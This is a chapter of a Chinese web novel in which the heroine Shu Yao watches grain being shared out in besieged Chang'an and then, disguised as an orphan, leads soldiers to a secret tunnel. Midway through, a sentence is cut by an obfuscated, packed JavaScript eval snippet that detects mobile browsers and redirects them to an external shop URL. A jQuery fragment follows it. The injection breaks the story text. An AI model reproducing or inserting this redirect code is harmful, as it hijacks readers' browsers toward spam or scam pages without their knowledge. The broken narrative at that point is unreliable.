舒瑶蹲在巷口的阴影里,远远看见那几个扛着粮袋的士兵拐过街角,街边几个面黄肌瘦的百姓听见动静,从半掩的门板后面探出头来。
一个瘦得颧骨高耸的老汉扶着门框颤巍巍地站起来,浑浊的眼睛里忽然亮起一点光,哑着嗓子朝巷子里喊了一声“又找到粮食了”。
那喊声在巷子里回荡,巷子深处纷纷响起了吱呀吱呀的开门声,静匿的街道又热闹了起来。
舒瑶远远跟在那几个士兵身后,看他们扛着粮袋穿过朱雀大街往王宫方向走,心里总是突突地担心,这些粮食如果被宫里和守军霸占了,那些本来囤粮就少的百姓们该怎么办?
跟着士兵进了王宫侧门,管事的宫人从台阶上小跑下来,看见那几袋粮食,脸上的表情终于松了一瞬,嘴角露出一个笑容,转身就往殿里跑:“粮!又找到粮了……我去禀报官家……”
舒瑶趴在了宫殿的房梁上,找了一个视野极佳的位置,把底下的动静全都收进了眼底。
那宫人跑进殿后膝盖扑通一声砸在地砖上,还没来得及开口,坐在案后的年长男子已先站了起来,长长的胡须轻轻发颤。
他听完禀报,愣了好一会儿,笑得眼眶里满是泪。
“好,好!快把这些粮食和之前收上来的全部搬到宫门口,按例分给百姓。”他搓着手在殿里走了两步,声音还带着哽咽。
渭水一战他败了,眼睁睁看着那么多弟兄倒下去后再也没有起来,带着伤紧急撤回长安,结果敌军追来把长安围了个水泄不通。
低头叹了一声:“还好逃出去不少百姓,那几家粮商临走时还把囤粮都留了下来,靠着那些存粮宫里和守军省着点也够。”
说到这转身看向身边的妻子,将她的手紧紧握在掌心里:“之前就怕那些没逃掉的百姓撑不下去,如今找到这么多粮食就能多给他们分些了。兵败如山倒,是我没有护好这座城,反倒让你和毅儿陪着我在这围城里吃苦受罪。”
城主夫人不等他说完便摇了摇头,拿帕子替他擦去脸上的泪痕,柔声道:“官家……胜败是兵家常事,我陪在你身边从不觉得苦。”
她说完将头轻轻靠在丈夫肩上,用帕子悄悄去拭自己眼角的泪“这半年多来百姓忍饥挨饿的模样看了太多太多,真正受苦的不是我和毅儿,是那些没来得及逃走、家里米缸怕是早就见底的百姓。”
站在一旁的少年攥紧拳头,眼里映着殿外的火光,“父亲终有一我们会重新攻出去的。”
看着儿子倔强的小脸,城主脸上露出一丝苦笑:“守军与城外的围军数量悬殊,况且将士们饿了大半年,已经打不了了。”
城主说到最后声音已经平静了下来,舒瑶蹲在房梁上,心想这个将军大概已经知道了自己的结局,决定跟上去看看分粮是不是真的按例来,如果是,那就想想说辞多救些人出去!
舒瑶收回目光,轻轻地从房梁上退下来,贴着墙根溜出殿外。
溜到宫门附近的墙头上,躲在屋檐的阴影里往下看。
宫门口已经搭起了一座简易的亭子,几张旧桌案拼在一起,上面摆放着一袋袋粮食,有几袋的麻布上还沾着自己当初做记号时蹭上去的干草屑。
舒瑶一眼就认出来了,那里有一部分是自己藏起来粟米和麦面。
士兵们还在往桌案上搬,每搬一袋,排队的百姓就往前挤一挤。
“太好了,又发粮了。”排在前头的妇人攥着空布袋,声音里夹杂着一丝轻快。
看来发粮已经不是头一回了。
留在长安的百姓们不管男女老少全出来了,排着长长的队伍从宫门口一直蜿蜒到巷子深处。
有老人佝偻着背拄着木棍,有妇人怀里抱着睡着了的娃娃,却没有一个人往前挤,队伍偶尔有妇人互相搀着胳膊小声交谈。
直到那位年长的将领走到亭子前,清了清嗓子,对排在最前面的老翁说了句“让大家久等了,排好队一个一个领”,整条队伍才起了片刻的骚动,百姓们把手里的布袋撑开来了。
舒瑶蹲在屋檐上,爪子搭在瓦片上往下看,把这些全看在眼里。
将领拿起一个盛粮食的匣子,从粮袋里舀出满满一盒粟米,倒进排在第一位的老翁撑开的布袋里。
老翁双手攥着布袋口,手背上青筋一根根凸起来,朝将领鞠了一躬,默默退到旁边。
分粮的速度很快,一盒接一盒,所有人都领到了一匣子粮食。
领到粮的人退到一旁站着,把布袋口扎得紧紧的,捧在怀里。
队伍很快就到了头,最后一个领粮的妇人也退到旁边。
将领把匣子搁在桌上,目光往巷子深处扫了一圈,大声问:“还有没有人没领到。”
可回应他的是巷子里空荡荡的回声,他又问了第二遍。才叫几个排在队伍最前面的壮年男子出列,把剩下不多的粮食按人数平分给了他们。
将领分完粮才开口,压过了站在边上窸窸窣窣系布袋声音:“不准抢粮,要是被我们抓到,你们家的粮食就全赔给人家。”
那几个男子接过粮食,把袋子扎紧扛上肩,转身往各自的巷子走去。
舒瑶心想:这将军也挺正直,在分粮时自己一粒米都没往嘴里塞,连桌案上撒落的几颗粟米也用手指一粒粒捻起来放回了袋子里。
舒瑶蹲在屋檐的阴影里,爪子托着腮帮子。
“哎,看来之前周郎中说的不错,这守城的城主看来是比以前的那一任好多了。又要开动小脑瓜好好想想办法了。”
舒瑶把目光从宫门口收回来,跃下屋檐,沿着窄巷往城西的方向跑,先把城里剩下的藏粮点全部摸查一遍,之后再做打算。
舒瑶花了大半夜把城里剩下的藏粮点全摸了一遍。
城东废屋地窖里的粟米被搬走了大半,但角落还塞着几袋;
城南枯井底下的豆子和干枣被翻过,却没被拿光;
城北土地庙屋那几罐盐巴也还搁在原处,罐口也有被打开过的痕迹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733533|207671||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。每处藏粮点都有人来过,但来的人都只取了自己够用的分量,把剩下的留给后来的人。
既然每处藏粮点都已经被城里的人找到了,他们取粮也只取自己够用的分量,舒瑶便放下心来。
眼下更迫在眉睫的,是如何才能多救些人出去。
舒瑶在城隍庙神像底下蹲了大半夜,把自己能想到的法子全过了一遍。
“要干就干票大的!”
第二天一大早,舒瑶变化成一个干瘦干瘦的小女娃,把头发弄乱,脸上衣服上抹上新鲜的泥巴痕迹,就跌跌撞撞地朝王宫跑去。
果然,刚跑到宫门口就和猜想中的一样,被两柄交叉的长戟挡了下来。“来者何人?来干什么?”守门的士兵把舒瑶从头到脚打量了一遍,满脸写着警惕。
“两位大人,我是城里的孤儿,今天在城隍庙找吃的时候发现了一件怪事,特别重要的事!”舒瑶把胸膛拍得嘭嘭响,“我敢保证是好事,特别大的好事,我要找陛下!”
士兵拗不过她,又见她只是一个瘦得跟竹竿似的丫头,确实不像敌方奸细,半押半拽地把舒瑶领进了宫门。
到了殿门口,其中一人先进去禀报,出来时多了个脸色迟疑的管事。
舒瑶不等他问就自己跨进殿里,跪地行了个自己也不确定是不是礼的礼,抬头看向那位昨天在房梁上观察了许久的人。
“陛下,我昨天晚上饿得睡不着,就想去城隍庙里看看有没有什么可以吃的野菜。”舒瑶边说还边喘着气,讲话都是磕磕绊绊的。
“我在城隍庙外找了一圈也没有找到什么吃的,就进了庙里面,在神像下摸索了一会儿,不知道碰到什么机关,就让神像移了位置,我就看见那神像下露出了一个地道,我就大着胆子趴下去看了一下,发现这地道是可以通向外面的。”等舒瑶说完,殿里安静了好一会儿。
将军盯着她的脸看了片刻只问了一句:“你发现的那个机关,还记得在哪里吗?”
“记得!记得的!”舒瑶从地上爬起来,用袖子抹了把脸上的泥,指着殿外的方向,“就在城隍庙,神像背后!我现在就可以带你们去!”
将军看了她一眼,转头朝殿侧吩咐了一句:“叫萧将军带几个身材瘦小些的,跟这姑娘一起去探探。”他顿了顿,又补道,“动作轻些,别惊动太多人。”
不多时,一个身穿轻甲的年轻将领大步走了进来。
身后跟着几个同样精瘦的兵士,腰间佩戴着短刀,鞋底都裹了布,走起路来几乎没有声响。
舒瑶领着这队人穿巷过街,绕过几条巡逻兵的固定路线,很快就到了城隍庙前。
破旧的庙门歪斜着,断掉的香炉倒在台阶下,一切看起来和她昨晚离开时一模一样。她上前推开侧门那扇破木板,侧身钻进去,指着神像背后的阴影处。
“就是这儿!你们看,这地上有痕迹,昨晚我就是从这里摸过去摸到机关的。”舒瑶煞有介事地蹲下身,用脚扫开地面上的浮灰。